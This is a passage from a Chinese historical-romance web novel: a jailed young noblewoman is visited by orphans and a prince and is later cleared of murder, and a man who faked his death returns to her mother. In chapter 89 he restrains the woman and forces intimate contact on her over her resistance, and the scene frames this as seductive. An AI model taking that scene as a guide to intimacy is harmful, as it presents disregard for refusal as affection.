齐铮不快不慢走在前面,一直到走到女监范围,沉声道:“小孩子不听话,长大了就是这样” 除了宁宁以外的三人:…… 别说了别说了,真的很吓人啊 见他们知道害怕,齐铮点了点头,又转身继续走着,很快就到了宋锦这边 相比起其他区域,这边可以说井然有序,一个个床位也收拾得整整齐齐,女犯们安安静静坐在那儿,听着另一边传来的说话声 女犯:“我当时就想,为什么他找得人我不行?后面和那卖肉的李大头厮混,那大头是外号,那玩意儿是真的大” 起哄声起来 “哈哈,真不害臊” “有多大?仔细说说呗” 女犯:“去去去,听我继续,后面不就被发现了嘛,那狗日的,我还担心他打死我,结果他是个绿毛龟,带着我就接客了,这也行。那些人别说了,都不是什么好人,好要钱得很,就是要着要着你们就知道了。唉,也不知道要被流放到哪儿去,不过没关系,只要有人,老娘还怕活不下去?” 起哄声再次响起 “哟嚯,厉害厉害” “不要脸的贱人” “我也不想死啊” …… 紧接着,宋锦响亮的声音传来:“行了,都闭嘴,继续下一个下一个,我有朋友是写书的,等我回去让他把你们都写书里” 立马又有女声起:“我来我来,我这辈子大字不识一个,有这机会,必须接着。我应该是砍头了,但是我还是得说, 我是真的冤枉的啊,我就是顶了我孪生姐姐,结果就入狱了,她干的事都落我头上了,嘿嘿,但我也不是好东西……” 齐铮听得嘴角一抽 这写书的朋友,不会就是他吧? 而这边,宋锦正听得起劲呢 去掉那些个真该死的玩意儿,其他狱友一个个都是人才啊,什么罪的不说,干的事是一个比一个厉害 这年头能进监狱的人,果然有些东西 宋锦听着,坐牢也不觉得无聊了,等到察觉到脚步声的时候已经来不及收回了,她讪讪地看着出现在狱门前的齐铮,摸了摸鼻子:“你来了啊,这就吃晚饭了?” 齐铮面无表情 宋锦心虚着心虚着,反而理直气壮了起来:“怎么,我坐牢就不能说个话了?” 齐铮瞥着她如此模样,轻声:“那刚好,给你带了几个说话的” 宋锦诧异下,齐铮挪开了步子 身后,几个被‘鬼故事’吓得瑟瑟发抖的小崽子赶紧跑了过来,一个个眼泪汪汪地扒在铁栏上 “太,太吓人了” “郡,郡主姐姐” “你不会被砍头吧?” 宋锦脸上笑容僵住,头立马就疼了起来,狠狠瞪了眼一旁看戏的齐铮 她这是监狱不是幼儿园 齐铮不语,用钥匙打开门,把食盒还有,四个崽子都赶了进去,然后在宋锦死亡目光下,咔擦锁门 他颔首:“你们聊,我一会儿再来” 宋锦看着四个哭包,磨着牙:“等我出去你死定了” 齐铮微微勾唇,补充一句:“你们也可以在这里陪她几日” 说着,他转身离开,而宋锦眼皮子一跳 下一秒,四个眼巴巴跟着进来的崽子这会儿不想探监了,一个个哭嚎着拍着铁牢 “救命,救命,我们是无辜的” “我不要砍头啊,我要回家” “呜哇哇哇” …… 宋锦气笑 什么人啊,幼稚死了 第88章 要不你再忍忍 “都给我坐好了” “对对对,就这样,从矮到高” “说吧说吧,有什么说的一次性说了” …… 牢房中,忍耐小崽子们苦恼不过一炷香的功夫,宋锦就原型暴露,按着几个崽子就跟拔蘑菇似的,从左到右挪了挪,让他们半蹲在地上 这从低到高的,屈膝半蹲,配合那一脸眼泪,还真有砍头那个架势 宋锦很是满意 别看她现在对着那些个女囚说一不二,但也是她收拾过后的事了,一开始人理都不理她,甚至还觉得自己反正都要死当面嘲笑她 开玩笑 以为要死了她就会忍了? 宋锦拿起铁丝就撬了锁,大张旗鼓地把所以不爽的人都揍了一顿,又大摇大摆回的牢房 那些人自然不可能一次性揍老实,等到衙役进来的时候立马告状,奈何宋锦身为郡主,外面那么多双眼睛盯着她,他们这些小喽啰惹得起? 再说了,他们总不能因为她武艺高技艺多就五花大绑把人给捆了吧?那也捆不住啊 而且就算搞事,她都在他们不在的时候才搞事,事后还老老实实回去待着了,已经很给他们这些小卒面子了 还要怎么样啊 狱卒睁一只眼闭一只眼,宋锦得寸进尺,等到人走了就再给告状的人来了一顿,成功掌握狱中大权,听着女犯说起她们的事情 那些个敢主动开口的女贩们,不管最后犯了什么罪,开始的时候或多或少都有苦衷,某种意义上来说,也都是些敢爱敢恨的大女子 宋锦听着还觉得挺有意思的,但面前这些个小崽子就纯粹是过来添乱的 四个人排排蹲着,从左往右依次是宁宁、小花、胜哥、福哥,一个个眼睛红红,瑟瑟缩缩,面对宋锦的问话 宁宁瘪着嘴,抽抽噎噎:“看,看郡主,安好” 宋锦瞅瞅她的小脸蛋,拿手绢给她擦了擦眼泪花,拍拍脑袋:“行,我信你,傻乎乎的,过来这边坐着,下一个,你呢?” 被问到的花花也红着眼睛,虽然被吓到了,但已经缓过来了,眼珠子转着,学舌道:“担心郡主” 宋锦似笑非笑:“不听话的小孩子可要被拉出去拔舌头的” 花花一缩:“就,就看看呗,堂长最喜欢说我们不听话,以后要进大牢,我还没见过,就想来看看。她还,还哭哭啼啼的,烦都烦死了” 这个她,除了宁宁别无他选了 宋锦瞥了一眼旁边的宁宁,小崽子就跟奶包子似的抽抽噎噎,大眼睛汪着一泡泪,小手攥着她的衣角,看起来确实可可怜怜的 这几日,两小只相处得应该不错 这个理由宋锦也认了,再挪开一个,就剩下两个大孩子了 胜哥压下惊慌,指着小花:“我,我我就是陪着小花” 宋锦并不意外,育婴堂的这几个孩子里,明显小花才是做主的那个,这崽子小小年纪古灵精怪,主意多得很,上次进山抓老虎也是她撺掇的 又解决一个,就差最后一个福哥了 宋锦双手环抱胸前,抬着下巴:“到你了” 福哥张嘴闭上,抬起胳膊擦了擦眼泪,一把跪下:“我,我我担心郡主,郡主若是有事,我和宁宁老二加加就又没家了” 他们几个小乞儿现在就住在宋锦提供的酒库旁的房间里,虽然五个人挤在一间小小的房子,但是能遮风能避雨,还有小小的炉子可以自己做饭,能放他们的行李、货物,他们还因此得了一份小工作,不再愁吃住 不用担心赚钱后东西被人抢走,也不用担心遇上坏房东骗人骗钱,更不用担心被其他乞丐欺负…… 这一切的源头都是宋锦,如果她出事了,他们的这些就宛如水上浮月,一戳就破 福哥真的很怕她出事 而这才对嘛,见都没见过几年,哪有那么深的情谊 乍一看到几人,宋锦都怀疑自己时不时失忆一阵子落下了什么,但是怎么想怎么看,她和这几个小崽子也就是那么一两面的关系 听到几人的话,宋锦满意下来,她喜欢诚实的人,其中再多一点真诚,她的忍耐大大增强 宋锦弹弹福哥的脑袋,自信倨傲:“放心吧,谁有事我都不会有事的,等事情查出来,我就出去了。我若真要杀人,用不着他们麻烦” 她行事虽然简单粗暴,但是向来大大方方,真要背地里,那么多的暗器,她脑袋被门夹了,才留那么多的破绽 现在就看那边查得如何了 背后之人做事粗浅,想来查起来也不难,就看,能查出多少来 那些人想凭借这个就拉倒她,也想得太简单了些 当然,也可能这只是开始 宋家,确实是很多人的眼中钉啊 但是宋锦无所畏惧,她眉眼张扬,便是坐在牢狱之中,依旧自信夺目,让人看着就不由松下担忧 福哥看着她这般模样,再看看这幽深牢狱,咬着牙狠狠心,往前一趴重重磕了两个头:“其实我,我我一直有事想和郡主说” 宋锦的张扬消失,她抚着额头,望着牢顶,深深叹气 就福哥上次说的宁宁的事,她就知道这些个崽子是大麻烦,只是带都带了也不能扔了吧? 问题是也稍稍缓一下呗 宋锦惆怅:“其实我一点儿也不想听啊,要不你再忍忍,下旬再说?” 福哥下了很大决心再把话说出口,说完了还是紧张得不得了,被宋锦这么一说,他有些卡顿:“……下,下旬?” 宋锦望天:“对啊,下旬吧,我最近很忙没空” 福哥:…… 忙什么?忙着蹲大牢吗 福哥很难跟上宋锦的思路,在他看来,宋景这个郡主位高权重,却又平易近人,大胆无畏,却又出乎意料的贴心,就是有时候过于跳脱了,比如之前突然带他们去放花灯,也比如上次带他们去抢地盘 过于随性了些 所以这会儿,面对宋锦的‘提议’,他也分不清是玩笑还是认真,磕磕巴巴:“不,不行吧?下旬会,会不会晚了点?” 宋锦叹气,果断:“那你说吧” “那,那我说了”福哥说话还是有些磕巴,慢吞吞的,为了避免宋锦改了主意。他又伸手抬着自己的下巴,把口水咽了下去,加快速度 “不是群主可还记得那夜中秋灯会时候您抓的几个人?其中矮个子那个,我之前有夜出门,蹭蹭见到他和一个奇怪的人接头,说着什么盯人,杀人的事,我就跟了几日,见到,见到” 宋锦若有所思地看着他 不得不说,这小子还是很有冒险精神的,一般人碰上这种事情不处跑得远远的,也竟然装作不知道他倒是好,还敢跟上去观察,不愧是能作为乞儿都学了手艺赚钱攒钱还能养孩子 的人啊 以后定然很有出息的 见他磕巴下去,宋锦也没有催他,只是道:“别怕,不管是谁都没什么大不了的,刚才送你们来的那人可是王爷,知道王爷的意思不?那可是皇帝陛下的亲儿子,天塌了他也能抗住” 在外面等待的齐铮:…… 肩膀突然重了起来 在宋锦的鼓励下,福哥深呼吸,压着声音小声:“就,就见到那人和金玉阁的大公子见了面,出门腰间钱囊鼓鼓的,后面还有几次都是这般,再然后,然后” 宋锦抚着下巴:“就被我抓了” 福哥咽咽口水:“就死了,他出狱当天就没了,说是喝酒掉下水里淹死的” 宋锦:“这样啊,那线索不就没了?” 福哥抓了抓头发,提醒:“他的狐朋狗友肯定知道点什么,这段时间都没出现了,我上次还看到他们鬼鬼祟祟商量事情” 宋锦低头看着福哥,心到这个看到,可能并不是什么很光明正大的事情,就像他没事大晚上出门一样 福哥被她看得有些心虚,缩了缩脖子,垂下眼睛不敢去看她 宋锦若有所思,但是这段时间事情太多了,还是一个个来吧,她点点头,冲着另一头的齐铮喊道:“听到了没有?” 她自小在山里窜着,后面又经常训虎,此刻那声音清脆而悠长,回荡在牢狱之中,是个人都能听见 齐铮没有回声,他静静地走了回来,隔着铁栏看着里面的宋锦,五官俊美,神色凛冽,说话又格外无奈:“听得到” 宋锦挑着眉头,拉着福哥转了个身,按着他的脑袋:“听到没?他说听到了,这事你找他,知道不?” 说这话的时候,她一双明亮的凤眸璀璨,里面全是把事情扔出去的得意 我看你还好不好意思推辞 齐铮摇了摇头,对着有些害怕的福哥说道:“无需害怕,回去后我会派人去查,不会牵连于你们” 福哥松了口气,又道:“除,除了他们,还有几个” 宋锦一巴掌拍他脑袋上,无语道:“回去说” 这小子感情天天上夜班啊 福哥缩着脑袋,蜷着屁股往后面挪去 小花和胜哥也惊奇地看着他,给他竖起大拇指 甘拜下风 福哥不好意思地抓抓脑袋,攥着宁宁的手,就低下脑袋不说话了 他能带着几个弟弟妹妹混迹街头还能攒钱,自然是有点东西的,只不过,有些事情说清楚了就不是那么回事了 宋锦没理几个小崽子,站在铁栏前面,看着外面冷肃却又格外心软的人,把手伸了出去,捏着个拳头包着 她轻抬下巴,喏了一声,眼眸中满是狡黠,看着就是打着坏主意的样子 齐铮默了一瞬,还是把手伸了过去 他体格高大,一双手也格外的大,手指修长,因为长年累月练武,手心全是茧子,一层一层由厚茧子压实,薄薄一片,便是纯手,一般刀子也轻易穿不透 对比起来,宋锦手上的茧子让人一眼看得出她的偷懒,她捏着手心,就这么轻轻放到齐铮的手心上,然后重重一巴掌 她得意洋洋:“把这几个崽子都带回去吧” 齐铮轻轻瞥她,也伸出手,示意她过来 宋锦挑起眉头,毫不迟疑地把手再次伸了出去 想打她,那就得凭本事了? 齐铮看着她跃跃欲试的挑衅模样,眼中无奈一闪而过,手轻轻一松,一颗酥糖落下 宋锦躲开的手又拧了回来,及时接下酥糖,抵着舌根,轻哼:“就这么点?真小气” 齐铮也没提那装满食物的大食盒,开口道:“今日夫人并未离府,下午时候宋府就把医师接回了府,你不用担心” 说到牛铁兰的事,宋锦立马正色,道:“那就好,就是不知道那老头有没有给我娘脸色看,等我出去再收拾他” 这不讲道理的 齐铮习惯性,继续:“戴家兄弟二人已被分开审讯,戴元华一问三不知,应是不知情,倒是戴远宏,藏着的事情颇多,以他为突破口,应该能查出不少。李大人和樊大人派出去的人手也有了些发现,要不了几日就能洗清你的嫌疑” 宋锦抚着下巴:“你说他们干这种完全没可能的事情,图什么呢?” 齐铮:“……若是普通贵女,涉及杀人嫌疑又进监狱,便是无辜,后续日子也艰难” 宋锦更郁闷了:“我之前的表现,很普通吗?” 她打架骂人一个不落,正常人也看得出她不在意这些吧? 齐铮颔首:“总有人又毒又蠢” 这倒也是 宋锦想着也没那么郁闷了,她撩了撩自己的头发,感叹:“还好现在天气凉了起来,若是夏日,我可待不住” 动作间,脖子上是熟悉的金虎黑玉 是他之前送的那块冬暖夏凉的石玉,落在她起伏的胸前 齐铮眼皮轻颤,火烧一半挪开了目光,不太自然道:“再坚持几日就好” 宋锦:“知道知道,行了,你把他们几个带走吧,下次别带过来了,嚎得我头疼” 她话音落下,牢房里的几个小崽子幽怨地看着她 他们冒着危险跑过来看她,竟然还嫌弃他们 郡主坏 宋锦理直气壮地瞪了回去,威胁:“怎么?不想回去了,想在这儿陪我?” 四个人赶紧摇头,不用她动手,迅速跑到门口,眼巴巴地看着齐铮,等着他给他们开门 齐铮没有说话,他低着头看着这些个胆大包天的孩子 四个孩子聪敏机灵还知恩图报,给他们一个机会,长大后定然都能成就一番事业 但前提是长大 在权贵扎堆的永安城,这些无根无底的孤儿,行事需要谨慎再谨慎,像今日这般缠着李青山的举动,固然看对了人,按准了他的心软,随了心 然而,只要有一次看错,他们的小命都不够人垫脚 齐铮五官轮廓深邃,每一寸皮肤紧紧贴着骨肉,俊美硬朗,又宛如刀锋一般,凛冽肃杀,尤其是当他沉下眉眼 宁宁四个人憋着气,腰杆挺得直直的,一动不敢动 齐铮:“下次还胡闹吗?” 四人齐齐摇头 不敢了真的不敢了 他们一开始就是看着李青山好欺负,习惯性地得寸进尺随着心就闹腾起来,等到后面进了王府再发现不对,已经来不及了 说到底,他们也就是仗着和宋锦这个郡主有两分缘分,才这般大胆,若是以往,别说拦着人耍赖了,老远看着人就跟老鼠见着猫似的 齐铮见他们知道厉害,勉强放下心来,又嘱咐道:“日后小心行事” 几个孩子继续点头,不管大小,都认认真真,和面对宋锦的时候截然不同 宋锦抱着手靠在一边,等到他们说完了,调侃道:“不错嘛,这么会教孩子,岐王殿下日后定然是个好爹” 齐铮回道:“你也会是个好娘亲” 宋锦一个白眼:“什么娘不娘的,我还小着呢” 齐铮神色一顿,这才想到面前的宋锦其实也只是个十五岁的少女,而他,已经二十了,他不由蹙起眉头,漆黑的眸子盯着她 宋锦被看得有些不自在了,皱了皱鼻子,瞪他:“看什么?” 这种时候,少女的娇俏气尽显 齐铮垂下眸子,轻轻摇头:“无事,我走了” 宋锦哦了一声,看着他转身,又敲敲铁栏,扔了个东西过去 齐铮接住 那是一个巴掌大的草公鸡 宋锦见他不说话,凶巴巴:“我做了好久的,不许说不好看” 她的手艺其实不错,草公鸡不管是形还是神都惟妙惟肖,只不过零星稻草有些散裂 齐铮小心地捏着草公鸡,再对上宋锦凶巴巴的脸色,嘴角轻轻扬起,宛如春雪消散:“很好看,我很喜欢” 宋锦轻哼:“最好是” …… 时间渐渐逝去 半月高挂枝头,雾水开始氤氲,家家户户熄灯进入睡眠 宋府之中,小眉小心地检查着窗子帷帐,等到确定没有问题了,这才走到床边,小声道:“夫人,熄烛火吗?” 牛铁兰靠在枕上,轻柔的青丝披散,巴掌大的脸上神色淡淡,她轻声:“点着吧,今夜应要降霜,你们都回屋睡吧,无需守夜” 小眉迟疑:“夫人万一起夜” 牛铁兰摇头:“才来都城几日,就忘了以前在镇上的日子了?” 小眉抿嘴笑:“那哪儿能啊,既然夫人体贴,我就让小丫鬟回去睡了,夜里过来巡个两次,这总行吧?” 牛铁兰点头:“注意防寒” 小眉轻笑:“您就放宽心吧” 牛铁兰没有房间多一个人的习惯,这段时间还是独自睡觉,不过每日外面有两个小丫头守着,都城的大户人家都这般,她也入乡随俗 她这段时间身体情况一直很好,基本没有咳嗽风寒的情况了 小眉也没有太过担心,想着晚上多过来几次,提着煤油灯离开房间,小心关上房门 牛铁兰躺在床上,看着晃动的轻纱帐,嗅着淡淡的熏香,缓缓闭上了眼,没一会儿就传出平缓的呼吸声 屋外的月光渐渐明朗,像是寒霜一般扑撒在地上,映着晃动的人影 悄无声息的,紧闭的房门再次打开,又轻轻合上 皎洁的月光透过隙缝照入,落在闯入屋中的人影上,照亮他嘴角的一抹笑 他站在床边,看着纱帐下的人影,叹息似的,低低 “怎么一点儿也不乖啊” 第89章 取出这颗心 九月九日 登高楼,配茱萸,赏秋菊,祭祀祈福,是个平心静气的好日子 然而每到这日,曲茂泽总会不由自主地陷入过往之中 黑不见手的黑狱中,咀嚼、腥臭、哀泣…… 无助的惨叫声重重叠叠 一遍又一遍,像是山谷里的回音,越来越远,又越来越近 浅淡的月色透过窗纸照在他脸上,明明灭灭,晃动狭长凤眸下的幽暗,他垂着眼,看着面前平躺着的人 他脸上一贯噙着的笑容不再,就这样静静地看着床上睡着的人 记忆中的阮金玲并不是这般模样,那时的她胆大心细,便是惊慌之下,杏眸中也藏着灵光,像是伪装成家猫的林猫,装模作样,又会寻着机会给人来上一抓 不似现在 苍白、孱弱、没有生机,像是名贵的娇花一般,稍稍用力就会被碾碎 曲茂泽静静看着,脑中又传出那哀嚎的鬼泣声,他伸出手,轻轻抚上她的脸颊 他的手指修长而骨节分明,宛如精美的工艺品一般,白皙如玉,细腻冰凉,没有一点儿瑕疵,落在牛铁兰细腻的脸上,手与脸宛如同一人的一般。 他细细摸索,手下的脸冰凉绵软,没什么肉,就薄薄一层贴着脸骨,一只手就能轻易按住,将其裹在手心 曲茂泽静静看着,手指一点点靠下,来到她纤长的脖颈上,感受着下面轻缓的脉动,然后嘴角微微扬起 他手上力道加重,大拇指轻轻碾压,摩挲,又顺着脖子往上,轻轻勾了勾下巴,按在唇边 牛铁兰的唇色浅淡,像是褪色的桃花瓣,柔软而冰凉,带着淡淡香气,可想其中滋味 曲茂泽看着她微微颤动的眼皮,嘴角轻轻扬起,指尖挪动,顺着浅淡唇瓣探去,一片温软 本着戏弄的手指一顿,轻轻掐住内里湿滑小舌,其余手指随即抵住白齿,轻轻制住了逐渐收合的嘴 丝丝透明的涎液顺着嘴角流下 曲茂泽微微压下身,另一只手按住身下的人,轻轻把弄着她顺滑的青丝,噙起笑,喟叹 “这么多年过去了,你还是一样不乖啊” 牛铁兰恼怒地瞪着他,下意识就想开口骂人,却给了口中异物作祟的机会,怒骂声也随之成了轻吟,呼吸也不由重了几分 她又抬手试图推开这人,那说不上粗壮的胳膊却宛如精铁一般紧紧焊死,倒是挣扎之下胸口摩擦异样 曲茂泽噙着笑,就这般攥着人,任由她用力挣扎,看着她苍白的脸颊染上红晕,眼眸亮起焰火,感受着指上牙口力道逐渐增加 他喟叹一声,停下端详,湿润的手间顺着她的脸颊滑下,在洁白的脸颊上留下道道水痕,与此同时另一只锢着她的手也松了力道 牛铁兰抬起手狠狠擦干净脸上的水渍,胸口不断起伏,她狠狠咬牙,想也不想地一巴掌打了过去 啪的一声在寂静的夜中格外响亮 曲茂泽白玉一般的脸庞上瞬间多了红印,又以肉眼可见的速度修复,他微微侧头,嘴角依旧噙笑,就这样看着人,平和又包容,像是在看什么不听话的孩童一般 牛铁兰又是一巴掌打了过去,然后双手捏拳,然后狠狠地看了过去,脸上全是愠怒 这会儿正是半夜,屋内很是安静,只有煤油灯偶尔滋滋的声音,屋外寒凉,前段时间杂闹的虫鸟也失了叫闹的心思 两个人一个半坐在床头,一个半坐床边,一个平和,一个恼怒,在这寂静的夜中对视,带着周边都跟着压抑了下来,像是困在铁笼中的星火,一点点膨胀,不知何时会炸开 他们都没有说话 刚才的巴掌声已经说了太多 良久,久到月色都消散大半,他突然嗤嗤出声 牛铁兰心中惊疑,未来得及表达出来,紧接着一股力就朝她而来,下一瞬她就被按在床柱上,在摇床吱呀的窸窣声下,唔的一声,比以往任何时候都要浓烈的窒息感袭来 粗重的舌席卷口腔,带着要将人吞灭的气势,不带半分温柔,像是迅猛的虎,狩猎时直击要害,一口便使得猎物失去了反抗资格,然后才放心地享受起来 先是恨不得将其吞入的含弄把玩,待到没有半点反抗之力时,才一点点舔弄,舔遍每一寸口腔,先是单调的独角戏,再后来又纠缠着 内里的小舌一起 轻舔、抚弄 …… 仿若只是一瞬的事,但是等到歇下来了,那藏于云间的月已经行了一程又一程,皎洁轻柔的月光如同白幕一般落于房间,和轻晃的床帐交叠 “啪” 直到巴掌声再次响起 牛铁兰按着胸口大口喘息,打人的手心火辣辣的疼,但是看上去依旧没什么效果 曲茂泽轻轻舔了舔湿润的唇瓣,修长的手指摸了摸略微红肿的脸,不甚在意地又来到嘴角,轻轻擦去水渍,一双凤眸熠熠,带着餍足的慵懒 他微微凑近 牛铁兰下意识再后退两步,就听到他轻轻的声音:“还打吗?” 说着,他侧了侧头,露出另外半张脸给她 牛铁兰紧紧捏着拳,气得牙齿咯咯作响,想也不想扑过去使劲攥着他的头发,跨坐在他身上一阵抓挠 像是猫儿一样 曲茂泽不做半点反抗,躺在厚软的床上,任由她动作,伤口微微刺痛,他却格外开朗,噙着笑就这么看着她发泄 他这般模样,就更惹人厌烦了 牛铁兰最后掐住他的脖子,气得手都有些发抖,她低头看着他,杏眸全是愤怒的焰火,她咬着牙,一字一字:“你到底想做什么,宋、商” 听到这个名字,曲茂泽眼眸微暗,松弛的笑意顿了顿,又重新扬起,他轻轻喟叹:“宋商已死,天下已无此人,夫人切莫记错” 牛铁兰咬着牙:“管你死不死,我只问你要做什么?候巧荷的事是不是你做的?” 曲茂泽抬手,轻轻撩去她散落的秀发:“夫人不忍?” 果然 牛铁兰这几日提着的心窒在嗓口,她掐着人的力道加重,声音沙哑:“为什么?” 曲茂泽手心贴着她的侧脸,轻笑:“不明显吗?” 牛铁兰狠声:“我是问你为什么要害金金,那匕首是你扔过去的吧,都说虎毒不食子,不对,用老虎来形容你简直是小看您宋首辅了,又是变脸又是假死,你这么神通广大,为什么还要利用金金?你以为牢里很舒服吗?她才十五岁” 曲茂泽叹息:“十五岁啊,我那时候已经带着难民杀贼北行了” 牛铁兰:“那能一样吗?” 曲茂泽:“哪儿不一样?我做得,我女儿就做不到?” 牛铁兰瞪着眼,看着而他发自内心的模样,咬着牙,想反驳,却也说不出来 她的金金,有什么做不到的? 但是 “别转移话题,这不一样”牛铁兰恼怒,“这和你陷害她有什么关系?” 曲茂泽感受着脖子上松下的力道,一声叹息,一个翻身,轻轻松松将人按倒 两人瞬间换了位置 曲茂泽覆在她身上,手肘轻轻撑着,悠悠地玩弄着她的青丝,另一只手顺着她的下巴来到胸口,轻轻点了点 透过皮肉,里面也传来了回应 瞬间,牛铁兰呼吸急促了几分,眉头紧蹙,很是不适:“你” 曲茂泽没有多说什么,嘴角噙着笑,手轻轻贴着,没一会儿里面跳动的蛊虫就歇了下去,他轻轻一笑:“能感受到吗?” 牛铁兰深呼吸:“能不能不要转移话题,堂堂首辅大人,不会听不懂我的意思吧?” 曲茂泽出其不意俯下头,印在她的唇上,轻轻含了含,一瞬即逝去,喟叹:“都和你说了首辅已死,下次别说了” 牛铁兰唇瓣微肿,本来的浅淡之色,这会儿也嫣红,宛如盛开的桃瓣,她轻轻咬唇,对这人已经说不上恼怒还是失望,连咒骂动手的心思都没了 曲茂泽看着她杏眸中的火焰淡去,一点点黯了下去,伸手轻轻抚弄眼角,有些无奈:“我这不是已经回你了吗?” 牛铁兰:“你够了,你” 曲茂泽再次俯身,比起刚才的蜻蜓点水,这次越发缠绵,宛如春雨绵绵,轻柔又粘润,一点点一寸寸,带着情人之间的亲昵爱抚,又不仅仅限于此,亲吻的同时,他另一只手顺着往下,抚在她纤细的腰肢,顺着腰带探入 细腻温软 舌尖突然被咬 他动作一顿,移开口舌,咸腥的味道蕴在嘴里,伴着不太美妙的回忆袭来,他轻轻抵了抵牙根,收回手,又重新落在牛铁兰的锁骨上,轻声 “练蛊,也叫练人,便是鼓足蛊女,也是从小浸于虫池之中,日日经受改造,骨髓、皮肉,无一不是蛊虫,你猜,被红线蛊蚕食十六年的你,能不能经受住这般改造” 牛铁兰紧紧咬唇,唇瓣上嘞出重重印记,也渗出了丝丝血渍 他轻叹一声,伸手捏住她的下巴,轻轻扣散嘴上力道:“别咬” 牛铁兰眼角湿润几分,抬头看着他,带着些倔强:“你什么意思?咒我死?” 曲茂泽轻轻摇头,拉着她的手放到心口,轻声:“我娘,是蛊族上任蛊女,我身上继承了她一半的血肉蛊虫,取出这颗心食用,你练蛊定会顺利” 牛铁兰手一颤,瞬间挪开,咬牙:“你是不是有病?” 曲茂泽看着她发红的眼睛,轻轻一笑:“我就知道你舍不得” 牛铁兰没有说话,只是呼吸声重了几分 曲茂泽按着她的手落在自己手腕上,上面坑坑洼洼,便是蛊虫神奇,修复也是需要时间的 他含笑:“不过没关系,除了心脏,血肉也有效果,当然,最有效的” 牛铁兰咬牙,虽然心中早有猜测,但是这会儿落了地,她的心也狠狠沉了下去 三日一次,持续一月,便是他恢复再快,养得再好,那损耗也绝对无法恢复 而曲茂泽只是轻笑,修长手指轻轻摩擦着她的,然后顺着自己的心口,沿着结实的肌□□壑一路往下,按住那处干硬,戏谑又暧昧:“你猜猜?” 牛铁兰脸颊上的红意一点点蔓延,宛如春日花朵,含苞待放,转瞬间盛开,娇艳妍美 她咬着唇没有说话 曲茂泽也没再动,他只是轻轻:“当然,你若是不愿,我也不会强人所难。万事皆有代价,蛊女,也没有想象中的美好” 说完,房间再次安静了下去 床外挂着的油灯滋滋,映着不知何时飞进来的虫影 牛铁兰躺在床上,看着深浅熟悉又陌生的男人,脑中闪过那些往事碎片,又闪过自家闺女,最后又落在那年顺着马车一路见过的风景,她睫毛轻颤,轻轻抬手,揽住故人脖子,红唇径直映了上去 她想活着 哪怕只是一点可能 …… 晨光微光,淡淡的光芒从铁窗外照了进来,照亮卧在地上,躺得四仰八叉的人身上 轻轻的脚步声传来 宋锦睁开了眼,顶着脑袋上的稻草杆坐起身,然后打了个大大的哈欠,把身上盖着的被子扔回床上,坐在地上看着脚步声传来的方向 以齐铮为领头的一行人走了过来 宋锦打着哈欠:“我的早饭到了?” 李献和樊文柏:…… 不愧是宋首辅的女儿啊 齐铮则是见怪不怪,他上前一步,打开铁牢大门,颔首:“回去再吃吧,出狱了” 宋锦挑眉:“解决了?” 齐铮颔首:“出去说” 宋锦点点脑袋,打着哈欠走出大门,突然脚步一顿,她又走回去把床上的被子这些抱了出来,在几人诧异的目光下,她走到对面牢房,三两下打开狱锁,把手上的被子扔了进去 “给你吧” 狱中的女人怔住,含泪磕在地上:“民妇多谢郡主” 宋锦轻声:“你丈夫婆母谋害与你,你反杀自然无错,但是放火烧家,危害周围人家,害了左右稚子,应当承担责任” 女人磕头:“民妇自知罪该万死,就是放心不下被烧到的孩童,那烧焦的院子树下藏着五十两银子,斗胆请求郡主替民妇转达” 宋锦:“行” 简单应下,她打着哈欠,又把门锁关上,在李献和樊文柏一言难尽的表情下,挑了挑眉,若无其事转身朝前走出住了六日的牢房 距离练蛊还有三日 时间也刚刚好 第90章 不要脸的老东西 这几日永安城讨论最多的,自然就是宋锦这位新晋郡主杀人之事了 她贵为郡主,又是那一手遮天的宋首辅的闺女,回永安城的这段时间已经闹了不少事情 但是之前都能归结于性子冲动,现在因为一点小事就出手杀人,性质就大不一样。再加上有心人在背后推波助澜,不得不慎重行事 因此 侯巧荷之死一案,在九月十二这日当众开审 应天门府衙之内,挤满了来自永安城的普通百姓,能挤到最前方的人,别的不说,耍滑撒泼方面肯定少有人及 因着这次不限制普通百姓,所以,应天府内除了负责审讯的官员和证人,没有多余 的官吏世家子 根本挤不进来 至于走后门,想走的人太多了也挤不下,所以也只有几个王爷,还有微服私访的齐晔 他穿着低调的灰色长袍,站在齐铮旁边,两人一看,不是父子也是亲戚 齐晔看着齐铮身上的灰色衣服,满意地点了点头,状似不经意地说道:“阿铮,这把百姓放进来观看,谣言虽然不攻自破,但你说那么多人,会不会有刺客藏在其中” 齐铮皱眉,在顺着看去门前跟下饺子似的人群,沉默一瞬 “孩儿觉得,刺客挤不进去” 齐晔:“好像也是,明光这几天还好吧?” 齐铮:“挺好的” 齐晔又道:“她娘应该很担心她吧?” 齐铮觉得他有些莫名,还是点头:“这个自然” 齐晔于是继续:“宋首辅这些年为国为民付出良多,现在生死不知,就剩下这么个遗孀孤儿,又碰上这些事,唉,真是可怜啊” 齐铮顺着他的目光看去 宋锦受审,牛铁兰和那宋府五兄弟自然不会缺席,几个人也被安排了专门的位置和其他人隔开 这并不奇怪,奇怪的是他们中间的那人 一身白衣,颀长清瘦,俊朗温和,看起来就一副霁月光风的君子模样,站在五个风采各异的宋家子,宛如一家人 齐铮顿住,再侧头看着等他接话的齐晔,神情复杂起来 不管宋商和齐晔为什么要弄这假死之事,肯定不可能只是弄着玩的,定然事关紧要 可齐晔却不曾藏着他,虽然未曾明说,但是态度已然说明一切 齐铮压下复杂心绪,给出台阶,道:“父皇说得是,趁着现在还未开审,我们不如过去见见” 齐晔满意点头,拍拍他的肩膀:“我儿仁厚,那我们就过去吧” …… 两个人站在衙中,大部分百姓是不识的,但是官员们就有眼色多了 他们不一定认识齐晔,但是一定认识这段时间经常过来的齐铮,再看两人相似的脸 无需多说什么了 牛铁兰坐在凳子上,看着朝着这边过来的人,心一紧,下意识看向旁边的人 曲茂泽手轻轻放在她的肩上,笑得温和无害,状似疑惑道:“岐王殿下旁边那位和他极为相似,莫不是” 牛铁兰一听这话,面无表情地挪开脸,懒得看他在这装模作样 她懒得说话,其他人可就有话说了,尤其是宋慎之 他声音沉沉地警告:“正是陛下下,你最好给我老实点” 说话间,他阴测测的目光落在曲茂泽放在牛铁兰肩上的手,大有再不放下就打断的意思 曲茂泽微微一笑,温和又包容,看着真是个很不错的人啊 宋行之嘴角一抽,不着痕迹地拉过找死的老三,说道:“老三别闹,夫人和爹虽有小妹,但是各在一方,更多也是家人,你莫执拗了” 宋慎之绷着脸,阴测测:“老大,你这胳膊肘往外拐的,要不要我帮你理一理?” 宋行之忍不住吐槽:“我看你还是理理脑子吧” 